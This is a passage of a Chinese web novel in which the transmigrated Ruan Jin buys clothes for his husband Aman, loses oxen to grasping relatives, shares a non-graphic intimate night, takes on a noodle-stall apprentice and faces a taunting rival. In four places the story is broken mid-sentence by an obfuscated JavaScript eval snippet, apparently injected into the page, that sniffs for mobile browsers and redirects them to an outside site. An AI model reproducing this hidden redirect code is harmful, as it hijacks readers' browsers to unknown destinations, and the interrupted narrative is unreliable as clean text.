阿大拍了拍自己的胸膛,放声道:“少爷放心,咱们这就去给你带回来!” 阿二也道:“对对对,咱们这就去!” 说着阿大便转身去套车,阿二和三儿也跟着去了。 独留下四儿,听阮锦的叮嘱:“记住,趁着天色暗下来悄悄回去搬,不要弄出太大的动静了。仔别别碰上二叔和三叔家那些人,上次阿蛮卸了二婶和三婶的胳膊,她们还不知道怎么闹呢。” 四儿点头,答应道:“好的少爷,你放心,我们一定会小心的。” 说完话,四儿也跟着一起上了马车。 五儿见哥哥姐姐们都走了,也拔腿跟了上去,院子里便只剩下了阮锦和阿蛮。 阮锦上前坐到了阿蛮的身边,喊了他一声:“阿蛮。” 阿蛮抬起头,用一双孩子般天真纯粹的眼神看向他,眼睛里映着夏初的桃树,让人心惊的郁郁葱葱。 看到这样一双漂亮干净的眼睛,阮锦的语气都忍不住变温柔了:“四儿他们回阮家村了,我们去镇子上的成衣铺逛一逛好不好?” 趁着天色未晚,铺子还未打烊,阮锦想去给阿蛮买几套衣服。 阿蛮放下了木头和刻刀,点了点头,乖乖的站起了身。 阮锦牵住他的手,拉着他朝门外走去。 这会儿集市上人不多了,不过那些铺子倒是都还开着门。 成衣铺子都在一处,倒是不用花心思到处逛,这小小的集市上足有五家成衣铺。 桃花镇是鱼米之乡,扼南北交通要道,相较于周边算是较为富裕的地方了。 尤其是它所在的东南郡,更是渊国的重郡,是五大城池之一。 东南郡紧临渊都,连接另外三大重郡,是个繁华的商业之都,相当于古代的北上广。 当然了,古代的发展也并不算多么发达,而且桃花镇也只是一个小镇子,没办法和郡城里比。 阮锦拉着阿蛮走进一家成衣铺,这里是专做男式成衣的,只是这些衣服的料子看着不如阿蛮身上这件。 左挑右挑,阮锦都没有看上,转身便要遗憾的离开。 这时一个声音传来:“哥儿是有别的要求?不如进来看看这件如何?” 阮锦转过头,只见一名年轻的男子正朝他招手,阮锦看到里面果然还有一个房间,心想看看也好,便点了点头,拉着阿蛮走了进去。 一进入内间,阮锦的眼前便是一亮,说道:“老板内有乾坤啊!这些衣服果然比外面那些好看多了。怎么不把这些拿出去展示?” 老板有些不好意思的说道:“这些衣服,乡野之处大多看不上。再说,这些衣服都是我私人做的,能穿得上它们的,也不能是一般人。我观哥儿身边这位公子长得一表人才,身量也够高,必定能撑起这些衣裳。哦,这些我本来明天打算送去郡城里卖的。今天哥儿来得巧,若是明天过来,便肯定买不到了。” 阮锦心想这老板有想法,难怪一眼望去,就他开得成衣铺最大。 他看着墙上挂着的十几套成衣,一眼就看中了一件水蓝色丝绸袍服,上面还绣有暗色花纹。深蓝色右衽交领,浅色翠玉束腰带, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15789977|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下悬一枚白玉配饰,就连靴子都搭了同款。外面还有一件广袖罩袍,同样也是水蓝色暗云纹,袖口和袍襟则和交领一样,都是用的深蓝色缎质。 阮锦指着那件衣服问道:“这套不错啊!老板,怎么卖?” 老板露出喜色,说道:“哥儿好眼光,这件衣服,是我花得心思最多的。不过这价格,也要稍贵一些。” 阮锦一看这衣服的做工和上面的配饰就知道不会便宜,不过买给新婚的夫君,倒也没什么好心疼的。 于是他大手一挥,说道:“老板且报价,只要价格合理,我就买下了。” 老板也没有卖关子,开口道:“三两银。” 阮锦倒也没有特别惊讶,淡定的开口道:“在我们东郡,一匹丝绸的价格大约在300-500文钱之间。而一套完整的衣裳,则需要2-3匹丝绸。这套衣裳用料考究,便算五百文一匹。算你用三匹料子,那便是一千五百文。而一般成衣铺的手工费,在五十到三百文之间。先生这衣服做得精美,便算您五百文。加上这双鞋子,这配饰,不超过五百文,这已经是多算了。三两银,贵了。” 老板:…… 听完阮锦的话,老板便朝他竖起了一根大拇指,说道:“哥儿是个行家,您算的一点儿不错!我这成衣的价格,倒也不能算是一口价。既然哥儿还了,我也不能死撑着。这样吧!我们各退一步,两千八百文,如何?” 阮锦摆了摆手,说道:“这套,还有这套,我都要。老板,漫天要价,坐地还钱。我多买一件,您让几分利,这不过分吧?” 老板一看这小哥儿的嘴皮子就是个利落的,脸上露出了些许为难,只问道:“哥儿当真要两套?” 阮锦点头:“这套蓝色,还有那套靛蓝色,我都要了。” 浅蓝色这套虽好看,却不够日常,走在街上也过于扎眼了,在家穿给自己看便好。 不过阮锦觉得阿蛮更适合黑色,但黑色在大渊国可不是随便什么人都能穿的,那是帝王之色。 只有渊帝夜昙才有资格穿黑,也就是玄色。 老板忍痛道:“好!好衣服,也要寻有缘人。这位公子长相如此端正,能穿上我的衣服,也是我的荣幸。哥儿以后若是再为夫君选衣裳,一定要来我的小店,到时候我再为哥儿让利。” 阮锦满意了,点头道:“那是那是,衣服当然选最好的,老板这里的衣裳做得精美,下次一定还来。” 老板被阮锦哄成了翘嘴,热情的招待道:“那就请公子试试,哪里有尺寸不合适的地方,咱们也好随时为您改正。” 阮锦点头,拉着阿蛮道:“来,阿蛮,咱们去试试衣服。” 这老板也才发现,眼前这公子长得如此英俊不凡,竟是个智力有些缺陷的人。 果然人无完人,他从东郡到渊都走了那么多趟,王孙贵族的宅子里也去过,还是第一次见到这样的人物,可惜了。 16.第 16 章 不过老板是见过世面的人,他没多说什么,只是招待两人去屏风后面更衣。 阮锦拿了那套浅蓝色的衣服给阿蛮换上,阿蛮十分配合,阮锦让他怎样他就怎样,简直是个乖宝宝。 换好衣服后,阮锦抬头为他整理凌乱的头发,就这么一抬头,阮锦就有些怔住了。 虽然一直知道阿蛮好看,也知道这套衣服让阿蛮换上必定也能让他的颜值提升一个level,可当他看向阿蛮时,还是露出了惊艳的表情。 从前他一直对那句“陌上人如玉,公子世无双”没有什么概念,如今看到阿蛮,他终于有了画面。 阮锦一边帮他理着衣领一边轻声道:“阿蛮真好看。” 阿蛮干净清澈的眼睛看着阮锦,眼神里是依赖和恋慕,长长的睫毛微垂着,敛住了大半的棕黑色瞳仁。 屏风外,老板问了一句:“客官换好了吗?感觉怎么样?” 阮锦拉着阿蛮走出来,说道:“很合适,这衣服简直是根据他的体形量身订制的。老板你这衣服做的不错,那套深青色也拿来试一下吧!” 深青色那一套倒是中规中矩,同样不错的布料,但样式就很适合日常来穿。 两套衣服阮锦都很满意,虽然五两银子贵是贵了些,但阿蛮穿上能让他看得养眼,哪怕花个五十两也值得。 付过钱后,阮锦带着两套成衣和阿蛮回了家。 只是天色有些晚了,他在三儿心心念念的临江阁点了几道菜,让小二送到了他们宅子里,想着等小五义他们回来一起吃。 然而左等右等,等到了天色完全暗了下来,才见一辆马车并几只羊进了院子。 阮锦看到了阿大的额头上带了伤,当即皱起了眉头,问道:“这是怎么了?不会是碰上二房三房家的了吧?他们和你们起冲突了?” 四儿气的就想骂人,答道:“别提了,二房和三房那两个泼妇!真真气煞我了!他们想必是专门守在门口呢,见我们回去搬东西,跟着就往里冲,一人牵走了咱们家的一头牛!那两头牛,一头至少要值个五千文!阿大和阿二去拦,结果他们不知道从哪里来了一群凶神恶煞的泼皮,反倒是把阿大和阿二给制住了。他们说,姑爷把他们的胳膊卸了,就得拿牛来赔!咱们实在打不过他们,就只能让他们把牛牵了去。少爷,装个胳膊能花多少钱?怕是九大夫都免费给他们装上了!他们倒是好,不光把咱们的牛牵了去,还打伤了大哥!” 阮锦也气的不轻,赶紧问:“快让我看看伤。” 四儿道:“少爷别急,九大夫已经看过了。给上了药,包扎了一下。” 阿大也道:“阮少爷放心,咱们没事儿,这点伤算不了什么。只是,没能护住少爷的财产!哪天得空了,我和阿二非得给你把牛牵回来!” 阮锦却摆了摆手:“不防事,他们牵去就牵去了。迟早有一天,我会让他们连本带利还回来的。别忘了,买牛的契书也在我手上。他们抢东西,也得让他们付出代价才行。只不过,如果他们想养,那就让他们养些日子好了,也能省咱们不少草料钱。只是以后你们万万不能再冲动行事了,我说过,什么都不如生命和身体重要。眼下的亏吃了不打紧,后面咱们自会讨回来。” 阿大和阿二知道,阮少爷主意多,一定能治住他们这些人。 阮锦叹息:“好了好了,这件事情就到此为止。都饿了吧?赶紧坐下吃饭!你们不是一直想吃临江阁吗?我在临江阁订了几道菜,只是可惜阿大受了伤,没办法喝酒了。” 众人一听临江阁,眼睛纷纷亮了起来,尤其是三儿,她开心道:“这下仙儿再朝我炫耀,我也能炫耀回去了!……哇,足足六道菜!好多啊!这比仙儿吃的还要多两道呢!” 阮锦轻笑:“是吧?这回咱们也有炫耀的资本了。来来来,阿大坐下,多吃点蒸羊羔补补。” 阿大不好意思的坐了下来,看着那满桌子的菜也忍不住开始流口水。 四儿拿了筷子分给众人,也跟着坐了下来,看了一下菜色,看着倒是色香俱全,就是不知道味道如何。 阮锦看着大家道:“怎么不动筷子?吃啊吃啊!都不用客气。” 三儿迫不及待的夹了一口,脸上却并没有露出过于惊艳的神色,只道:“嗯,是好吃的!只是……只是,我还是觉得阮少爷做的菜更好吃。” 馄饨超级香,就连随便炒个青菜炒蛋也香,因为他们这边没有炒菜,基本都是蒸的煮的焖的炖的。 炒菜自是别有一番风味,尤其是那股淡淡的油香,那是大葱被煸炒过后所散发出来的独特味道。 阿大也尝了一口,说道:“这家的酱牛肉本是一绝,味道的确很不错。我觉得和阮少爷的比,各有千秋吧!阮少爷的味道更香浓,这酱牛肉……好像有点太咸了。” 阮锦也尝了一口酱牛肉,好像确实有点咸了,那是因为古代的肉十分珍贵,一般不会吃太多,多会下重盐重料,这样可以让人少吃肉多吃饭。 虽然这是正常的操作,而古人的口味也更重一些,但这菜色的味道却会大打折扣。 阮锦道:“这样!明天咱们也买点生牛肉,我给你们做个红烧牛肉。让你们尝尝不一样的味道,怎么样?” 小五义都不好意思,唯有四儿一脸的赞同:“好呀!少爷,你的厨艺真的太好了,我天天都想吃!那我明天负责买牛肉,你们负责给少爷打下手,怎么样?” 小五义纷纷应道:“好,好!哈哈,跟着阮少爷,也是过上好日子了。” 阿蛮则乖乖顺顺的在一旁吃着饭,他却并没有吃多少临江阁的菜,反倒是连续吃了两枚茶叶蛋。 他手边还有一碗阮锦昨天腌的八宝酱菜,拿出来尝尝味道,明天差不多就可以拿去集市上卖了。 阮锦顺手给阿蛮盛了一碗汤,叮嘱道:“不要吃太多咸菜,小心明天咳嗽。喝点这个汤,这个汤炖的还挺鲜的。” 阿蛮乖乖的点头,眼神温和而纯净,仿佛不谙世事的小王子。 阿大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797175|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们也看向了阿蛮,几个人都不约而同的又别开了眼,可能有时候人长得太好看了,不论是同性还是异性都不好意思盯着别人看太久,着实不太礼貌了些。 只有四儿这个没脸没皮的在一旁乐呵呵的笑,还托着腮一脸的向往:“少爷和姑爷的感情可真好,四儿什么时候也能找到自己的如意郎君呀!” 一旁的三儿点着他的额头道:“你你你你不知羞!小小年纪,就开始想夫君了?” 四儿叹息:“三儿姐姐怎么知道我们哥儿的苦?到了年纪不找夫君,那可是很危险的。” 阮锦也看向了四儿,说道:“那确实,该给四儿物色郎君了,只是……四儿,你喜欢的九大夫恐怕不行。” 四儿一听,当即问道:“为什么?” 阮锦意外道:“不是吧四儿?你真的喜欢九大夫?” 四儿的脸刷拉就红了,否认道:“没有没有,少爷你可别瞎说啊!” 阮锦憋笑,说道:“其实你喜欢谁,我都不反对,只要对方也喜欢你就可以。只是九哥真的不行,因为……他和我们一样。” 四儿惊讶的瞪大了眼睛,问道:“什么?他……跟我们一样?这……怎么可能呢?九哥他那么高,还那么结实……不应该啊!” 阮锦被四儿给逗得笑出了声,说道:“你可千万别当着九哥的面儿这么说,否则九哥又该说‘你也觉得我长得不漂亮’了!” 四儿摆手否认:“不是不是,我觉得九哥很好看,但就是……硬好看!他没有一点儿哥儿的柔美,反倒是有几分大丈夫的气度。而且……而且他都这么大了,为什么一直没有成婚?哥儿是不能没有夫君的啊!” 阮锦拿起筷子敲了他的额头一下,说道:“九哥是大夫,当然有他自己的方法了。只是可能也是要吃一些苦头的吧?咱们普通人估计受不了,而且对身体也不好。还是顺其自然的好。” 单单是阮锦成婚前的那几天,成熟期的痛苦就已经折磨的他夜夜梦魇了。 四儿失望的叹了口气,说道:“好吧!我是真的没想到啊!” 阮锦知道四儿可能心里觉得可惜了,便开了个玩笑道:“咱们小五义里不是有两个好儿郎么?不考虑考虑?” 没等四儿否认,阿大和阿二当即摆起了手,一个道:“别别别,四儿小时候撒尿和泥都是和咱们一起的,咱们可下不去手!” 另一个道:“那真不行,四儿这家伙太凶了,和他一起,我还不得被他给揍个半死啊……” 四儿气的一跺脚,拿起筷子来就要去揍阿二:“好你个阿二,你活得不耐烦了是不是?我看你是找打!” 阿二边跑边诉苦:“阮少爷您看到了吧?这这这……这谁敢娶啊!” 阮锦笑得直打跌,三儿赶紧上前去拉架,阿大则在一旁起哄驾秧子:“快点儿跑啊阿二,四儿快追上你喽!” 不大的小院儿里一片欢声笑语,阮锦也跟着嚷嚷:“四儿小心脚下啊哈哈哈!阿二你跑得也太慢了!” 17.第 17 章 既使是在上一世,阮锦也很少有这么放肆笑的时候。 可能是母亲去世的比较早,父亲工作又比较忙碌,他课余时间都在餐馆帮忙了,并没有交到过什么朋友。 如今穿越一回,竟然有了那么多小伙伴,倒是挺新奇的。 就连阿蛮都坐在那里捧着碗一脸好奇的看着小伙伴们追逐,仿佛是不懂为什么,有些人明明什么都没有,却可以这么快乐。 而他……他……他不记得了…… 但是如果可以一直这样”快乐下去,不想起来也没什么。 阿蛮看向阮锦,仿佛受到了感染一般,也勾起了唇角,朝他笑了笑。 这一笑,连院中的葱郁都及不上他眉目的疏朗。 阮锦的脑海中不知道为什么就浮起了一个想法:丈夫的容貌,妻子的荣耀。 这么好看,哪怕养一辈子,那也不是不可以。 一晚上就这么在笑笑闹闹中度过了,阮锦带着阿蛮躺下的时候,窗外的风徐徐吹来,阿蛮轻轻的吻着他,那亲吻里带了些许的缱绻。 阮锦问道:“阿蛮,你喜欢我吗?” 阿蛮轻轻的点着头:“喜欢,喜欢阿锦。” 阮锦窝进阿蛮的怀里,轻轻拂了拂他的脸颊,问道:“阿蛮会离开我吗?” 阿蛮重重的摇头:“不……不会!阿蛮……永远不会离开阿锦!” 阮锦很开心,笑着去吻他的脸颊,又去吻他的额头,呼吸着他身上淡淡的药香,两人的呼吸渐渐粗重了起来。 哥儿很容易被挑起情·欲,尤其是在面对健壮英俊的男人时,没有人能拒绝像阿蛮这样完美的一具雄性躯体。 阿蛮也很欢喜,尤其喜欢亲吻阮锦的脚踝,每每握起他纤细的足腕时,黑暗里的银铃声更能刺激他们的感观。 银铃的晃动,烛火的摇曳,微风的吹动,床帘的柔拂,都给不大的卧室带来浓到化不开的欲色。 阮锦特别喜欢在这个时候在阿蛮的耳边叫老公,阿蛮也不知道为什么,听到他叫老公,就会工作的更卖力。 喜欢这种情愫也会在彼此的接触中越来越浓,那是来自□□深处的迷恋。 从前阮锦从来没这么迷恋过一个人,哪怕是青春期躁动时,谈过一个女朋友,也只是少年人的好奇多过心动。 但此时阮锦是真的仿佛开启了某种阀门,知道如何去爱,如何表达爱,可能这种爱是由于身体本能激素驱策的,但那又如何呢,反正他还挺喜欢这种感觉的。 黑暗里是轻微的滋滋吸吮声,以及马儿四蹄重重踩在地上的挞伐声。 有些爱如火,有些爱如胶似漆,阮锦觉得他的爱如潮水,奔流不息。 第二天,看着床单上的一片狼藉,他觉得自己得想个办法,洗一下这三条床单了。 古代真是不方便,没有洗衣机,什么都要手动去完成。 于是他一早起来借着天光开始忙碌,找了钉锤和干净的木片,把水车改装成了里面可以装东西的滚桶模样。 而后把床单扔了进去,溪水一冲,水车就开始转动,随着水车的转动,床单也在里面转动,脏东西便被水流冲刷了出来。 阮锦:嗯,很好,回来就可以直接晾上了。 古代洗衣服没有洗衣粉,全靠搓衣板和棒槌捶打,偶尔会加几个皂角。 阮锦想了想,又翻箱倒柜找出皂角塞了进去,很快便有丰富的泡泡从水流里冲了出来。 他满意的看着那改装好的水车,心满意足的站在那里观察了半天。 四儿起床的时候,就看到自家少爷在研究水车,还看到水车里放了好几条床单。 四儿皱眉道:“少爷,你起这么早?这……为什么把水车弄成这样?还把床单扔进去了?为什么啊?” 阮锦心想,四儿还小,不能让这种儿童不宜的事让他知道,便道:“我只是突发奇想,做了个全自动洗衣机。你看,把皂角往里一扔,这不就可以洗衣服了吗?就是眼下还有点粗糙,等哪天换好点的木头打磨一下,应该能做出更好的来。” 不远处,阿蛮歪着头,仿佛是在想什么,想了片刻就走向墙角那一片废弃的家具开始挑选破木头。 这些家具的木料还不错,就是过于破旧了,阮锦不太喜欢,便让四儿扔到了墙角。 阮锦一直说给阿蛮买些木料的,想到这里,他便打算今天收了工后去给他去集市上买一批好一些的木头回来。 这时,小五义们来了,大家把东西都准备的十分妥当,阿大端了足足两大盆的肉馅儿。 阮锦十分意外,问道:“你们这……什么时候剁的馅儿?” 阿大笑嘻嘻的答:“昨晚我们直接去了屠户家,张屠户每天晚上杀猪,早晨一早出摊。我们买的是刚杀的肉,这绝对是顶好的!” 阮锦心想,这小五义还真是讲义气,做事也做得周全,没想到他们昨晚那么晚回去,竟然还跑去做第二天的准备工作了。 其实一早买肉剁馅儿也是来得及的,他们这摊子可以摆到天黑,倒也不必非得赶早。 三儿柔声道:“阮少爷,咱们连吃带拿,工钱还那么高,那必须得早早的把所有活儿都干好了。” 阮锦赞扬道:“好,好,像你们这么勤劳,日后定能飞黄腾达。” 阿二不好意思的摸了摸头:“飞黄腾达咱们不敢想,只要是能吃饱穿暖,咱们就心满意足了。” 阮锦点头,又问道:“阿五呢?今天怎么没跟过来?” 阿大答:“送他去学堂了,给先生送了五斤束脩并五十文钱。咱们小五义,也是有读书的人了。” 三儿却有些担心:“不知道能不能读得进去,五儿在外面野惯了,万一不受管束可就不好了。” 阮锦道:“问题不大,能读书识字,就是一个好的开始。再说,我看五儿还挺机灵的,说不定能读出点名堂来。” 众人随口应和着,便带了家什去了集市。 他们一到集市,便看到卖草鞋的大哥已经巴巴的等在那里了,一见他们来了,那大哥就乐呵呵的说道:“你们终于来了,有好几个人问我,你们的摊子什么时候摆了。我这刚卖了两双草鞋,也再吃一碗你们的馄饨。这可倒好,你们这馄饨太好吃也是罪过啊!我本来卖草鞋就赚不来几个钱,还全花到馄饨上了。唉,要是我能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802730|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你们一样,摆一天摊子卖这么多钱,以后也能混个老婆本儿了。” 阮锦笑答:“大哥这话说的,只要你愿意,可以来跟着我们学啊!” 卖草鞋的大哥眼睛当即亮了亮,问道:“真的假的?这么赚钱的营生,你竟然愿意让我学?” 阮锦答:“独富裕不如众富裕,再说,也不白让你学。咱们这馄饨之所以比旁的好吃,那自然是有秘方在里面的。倒是面条,可以随便支个摊子就能卖。再搭上咱们这茶叶蛋,客流量也不少呢。” 大哥却又有些犹豫了:“我手上满打满算也没几个钱,你这摊子投入成本就得好几百文了吧?万一我花好几百文,没有人买我的面,那岂不是亏了?” 阮锦想了想,说道:“怕亏啊?这倒也好说,成本我出,摊子给你,你不用出一分钱。不过只有一个条件,以后每个月的盈利都要分给我四成。” 大哥瞪圆了眼睛:“啊?你出钱?摊子给我?这世上哪有这样的好事儿?” 阮锦只道:“你爱信不信呗!反正也不让你出钱,试试又不损失什么。旁边摆着你的草鞋摊子,不也不耽误你卖草鞋啊!” 卖草鞋的大哥白天卖,晚上编,白天他老娘还会编上几只。 想想倒也是,确实也不损失什么,只是…… 卖草鞋的大哥心里直打鼓,他不敢相信,天底下能有这样的好事儿。 阮锦已经不再和他闲聊了,开始和三儿四儿一起包饺子,阿大则在生火,阿二劈柴,第一锅馄饨很快便出了锅。 馄饨的生意还是一如既往的好,新的食物不光口感好,食客们图新鲜,反正也不贵,多数是想尝个鲜,一吃就停不下来,不一会儿又卖了几十碗。 这样的客流量,怎能让人不眼馋。 卖草鞋的终于按捺不住了,他凑上前去问道:“哥儿,你这个……怎么个学法?” 阮锦见他心动了,便道:“你想学啊?想学就在这儿帮忙,先帮着卖馄饨,有人吃面就帮着卖面。先做学徒,学会了就可以自己去单干了。不过只能在我规定的地方干,我会给你个钱箱子,每天的收入多少,扣掉成本后你拿走六成。” 卖草鞋的连连点头:“哎哎哎,好好好,那哥儿……我现在就开始干?” 阮锦答:“好啊!来来来,四儿,你带带这位草鞋大哥。” 草鞋大哥痛失名字,他自我介绍道:“俺叫王丙,你们叫我阿丙吧!” 阮锦:…… 阿丙这个名字,让他想到了某个二胡表演艺术家。 四儿正在和面,问道:“会和面吗?会的话去那边洗个手,用皂角洗,一定要洗干净了。我家少爷说了,这叫……叫……哦,食品卫生安全!” 阿丙应声,赶紧去洗手,洗完手就参与到了卖馄饨和面条的阵营里。 等着吃馄饨和吃面条的排起了两队,阿大又多搬了三张桌子过来,阮锦简直是再世食神,他家原来的小餐馆就食客如云,开的小摊子也客流不断。 只是不远处,却有一道刺耳的声音传来:“哟,这不是锦哥儿吗?放着从前的大少爷不当,摆上地摊了?你这怎么混的?” 18.第 18 章 阮锦定眼一看,原主的记忆浮上心头,开口便道:“阮钗?” 再一看旁边,哦嚯,那还真是冤家路窄,那不是和原主议亲议到一半,就跑去和阮钗订婚的李公子吗? 李进显然也很意外在这里看到他,眼神有些意味不明的问道:“阿锦,你近来还好吗?” 阮钗一看他的眼神,当即便一把将他拽到了身后,一脸不悦的说道:“锦哥儿果然还是和原来一样,见了男人都得勾搭两眼。” 阮锦嘿嘿一笑,说道:“可别这么说啊大姐,我可没勾搭过别人的议亲对象。” 阮钗可能是没想到,从前软柿子一般的阮锦竟然也学会冷嘲热讽了,她的确是抢了阮锦的议亲对象,可既然没过订,那就还有相看别人的机会,她向来不觉得自己这事儿做的不道德。 阮钗冷哼一声:“任是你怎么勾搭,李进他现在是我的夫婿,你是不是应该收敛一些?” 还没等阮锦开口,一旁一直看着的王丙看不下去了,他把面剂子一甩道:“哎我他娘的这个暴脾气,你这妇人哪只眼睛看到我们家老板勾搭人了?倒是你旁边这个,那眼睛都快飞出眼眶子了,你是瞎啊还是聋啊?听不见是他先给我们家老板说的话吗?我看你这妇人还是看好自家夫君,搞不好哪一天就鸡飞蛋打喽。” 阮锦:……卧槽,阿丙战斗力可以啊! 就连温温柔柔的三儿都端起一盆刷锅水,哗的一声泼到了那两人的脚下,声线冷冷的说道:“没事儿就躲远点儿,别耽误咱们做生意!” 四儿更是一副随时战斗的斗鸡模样,从前原主被阮钗欺负,都是四儿替他上。 这次那么足的火力,四儿倒是闲下来了,只叉腰在一旁冷眼看着。 阮钗气得脸红脖子粗,骂是不如王丙骂得粗鄙,打又打不过四儿,就连三儿都能泼她一身脏水。 阮钗颤抖着手指着他们道:“你们……你们不就是仗着人多吗?呵,听说你嫁了个傻子?我看,你这辈子也就这样了。守着个盐井聚宝盆,早晚也让你败落光了。我们家李进就不一样了,他今年可是要去考科举的,定能一举中的。到时候,阮家的风光可就要靠我们了。” 阮锦替人尴尬的毛病又犯了,记忆里,阮钗似乎处处都在和原主比。 就因为原主比她生得漂亮还是个少见的哥儿,十里八村求娶的多,十二三岁就有人询问。 最后挑来挑去,挑上了李乡绅家的独子,而李进也对阮锦十分满意,两家便打算给两人在十七岁时完婚。 谁料最后出了差错,李进说什么也要悔婚娶阮钗。 后来才知道,这两人暗通款曲,阮钗在婚前就怀上了李进的孩子,眼下已经生下来了,是个让她引以为傲的儿子。 不过……夫妻感情好不好,也不是看她是不是生了儿子…… 阮锦觉得,这个李进,不是个良人,至少对于阮钗来说不是。 他并没有理会阮钗的炫耀,只说了一句:“是吗?那恭喜了。” 阮钗十分得意,嫌弃的看着脚下的湿泔水,说道:“要我说,你就是蠢。把那盐井交给父亲和三叔打理,嫁一个如意郎君,阮家还能亏待了你不成?自己把自己作成这样,嫁了个傻子,啧啧啧啧……” 此时馄饨摊子前的客人如织,本来就忙,阮锦实在没空陪她唱戏。 还得是王丙那个臭脾气,他气道:“叭叭叭叭叭叭,你属八哥的?怎么这么多废话?有事儿说事儿,没事儿滚蛋!” 阮钗最讨厌这种泥腿子,冷哼一声道:“阮锦,你看看你身边这都是些什么人?天天与这些人为伍,我看你这辈子好不了了!” 说完她一甩袖子,转身离开了馄饨摊,拉着频频回头的李进就走远了。 四儿乐呵呵的凑上来道:“少爷,以后骂人的事儿用不着我了,阿丙厉害啊!” 阿丙沾了一脸的面,说道:“我就是这暴躁脾气,看不惯的就得说出来。不过你们放心,我这个人虽然喜欢骂人,但我从来不惹事儿的,也从来不打女人。要不是看不惯她那咄咄逼人的架势,我也不会主动骂她。” 阮锦道:“无碍,多谢丙哥仗义执言了。” 阿丙摆手:“是我该谢你,能教我学手艺,我是没想到哥儿真能教我。” 他就想着,哪怕最后没有兑现给钱给摊子的承诺,他也满意了,毕竟学手艺也没让他花钱,艺多不压身,回家做给瞎眼老娘吃也不错。 阮钗的事只是一个小插曲,阮锦没往心里去,反倒是拿出了一缸的八宝酱菜给食客们配餐。 所有点餐的,都会送那么一小碟尝鲜,食客们尝过以后,都表示这酱菜做得好! 他们的口味偏重,阮锦做饭的口味又偏淡,配上这酱菜,可以说是人间美味了。 也有好奇的路人看他们这儿增加了新品,经过的时候买上一斤半斤的,价格也不贵,只要五文一斤,三文半斤。 阮锦还组织了免费试吃,一人一根竹签子,三儿和四儿在前面每人发一根免费品尝,尝了觉得好吃的路人便过来买。 一缸的酱菜,一天的时间也卖光了。 看着钱箱里的那些钱,阮锦思索着,是时候租个店铺了。 阮锦便吩咐阿大和阿丙他们,让他们留意着附近的店铺,如果有合适的地段合适的价格就先租下来。 阿丙看到今天的收入后两只眼睛都冒绿光,心想这生意做的真是太好了,如果每天都有这样的收入,一年下来岂不是可以置产了? 哪怕只卖面条,也能赚不少,足够他养活老娘了,说不定还能娶上媳妇。 阿丙应道:“放心吧老板,这一片儿咱最熟了,光在这儿卖草鞋就卖了十来年了。别看我穷,我可是正儿八经的桃花县人。小时候家道中落,我娘哭瞎了眼,才落到眼下这般地步。找铺面的事儿,您就交给我吧!” 阮锦点头,他早看出阿丙是本地人了,如果不是本地人,他不敢这么骂李乡绅家的儿媳妇。 阿二和阿三收拾摊子,四儿清洗剩下的餐具,阮锦嘱咐完,便推着手推车去了不远处的杂货区。 虽然不知道阿蛮为什么如此喜欢木雕,但阮锦觉得,要支持他的爱好,该买的木头还是要买的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808304|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是这样的小镇子,很少能碰到专门的雕刻木头,他转了好多家家具店,才终于找到一些看上去成色还不错的。 阮锦找老板谈好了价格,便买了一推车的各种木料推回了家。 今天阿蛮没有跟着去摆摊,关于这一点,阮锦十分尊重他的自由。 而且阮锦发现了,不论是在阮家村还是在桃花县城里,阿蛮都不会离开家,哪怕是开着大门,也只会乖乖在家里雕木头。 不雕木头或者雕累了的时候会坐在那里发呆,所以阮锦才会放心把他留在家里。 本来院锦打算给阿蛮一个惊喜,专门把手推车放到了门外,打算蒙住阿蛮的眼睛让他看看自己给他买的各种珍贵木料。 可是他一回到家,却发现三儿四儿和阿二都围在人工溪流旁。 这个院子里有一条人工造景的小溪,池底铺着干净的鹅卵石,两边铺着青石板,还种着不少花草。 本来上面是一驾水车,后面被阮锦改成了乱七八糟的全自动洗衣机。 此时众人正围在那洗衣机旁,不知道在看什么,难道是在观察他做的洗衣机? 阮锦也凑了过去,这一看不打紧,他整个人就被眼前的东西给惊住了。 